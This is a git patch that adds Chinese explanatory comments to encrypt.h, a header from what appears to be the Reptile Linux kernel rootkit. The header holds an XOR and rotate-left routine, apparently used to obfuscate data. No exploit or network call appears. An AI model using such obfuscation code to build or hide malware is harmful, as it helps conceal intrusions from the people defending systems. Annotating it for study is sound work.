From 9c546a158b2c5dc04099a4ad7fbc548932fabd87 Mon Sep 17 00:00:00 2001 From: shenzexi <2538927534@qq.com> Date: Mon, 16 Dec 2024 20:47:00 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=B3=A8=E9=87=8A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/Reptile/kernel/include/encrypt.h | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/src/Reptile/kernel/include/encrypt.h b/src/Reptile/kernel/include/encrypt.h index e941c39..209e877 100644 --- a/src/Reptile/kernel/include/encrypt.h +++ b/src/Reptile/kernel/include/encrypt.h @@ -1,20 +1,27 @@ #ifndef __LOADER_H__ #define __LOADER_H__ +// 定义加密和解密的宏,实际调用do_encode函数 #define do_encrypt(ptr, len, key) do_encode(ptr, len, key) #define do_decrypt(ptr, len, key) do_encode(ptr, len, key) +// 定义一个静态内联函数,用于实现32位值的循环左移操作 static inline unsigned int custom_rol32(unsigned int val, int n) { - return ((val << n) | (val >> (32 - n))); + // 循环左移n位,右移(32 - n)位,然后将两者的结果合并 + return ((val << n) | (val >> (32 - n))); } +// 定义一个静态内联函数,用于执行编码操作 static inline void do_encode(void *ptr, unsigned int len, unsigned int key) { - while (len > sizeof(key)) { - *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); - len -= sizeof(key), ptr += sizeof(key); - } + // 当剩余长度大于键值长度时,继续执行编码操作 + while (len > sizeof(key)) { + // 使用异或和循环左移操作对数据进行编码 + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + // 更新剩余长度和指针位置,准备处理下一部分数据 + len -= sizeof(key), ptr += sizeof(key); + } } -#endif +#endif \ No newline at end of file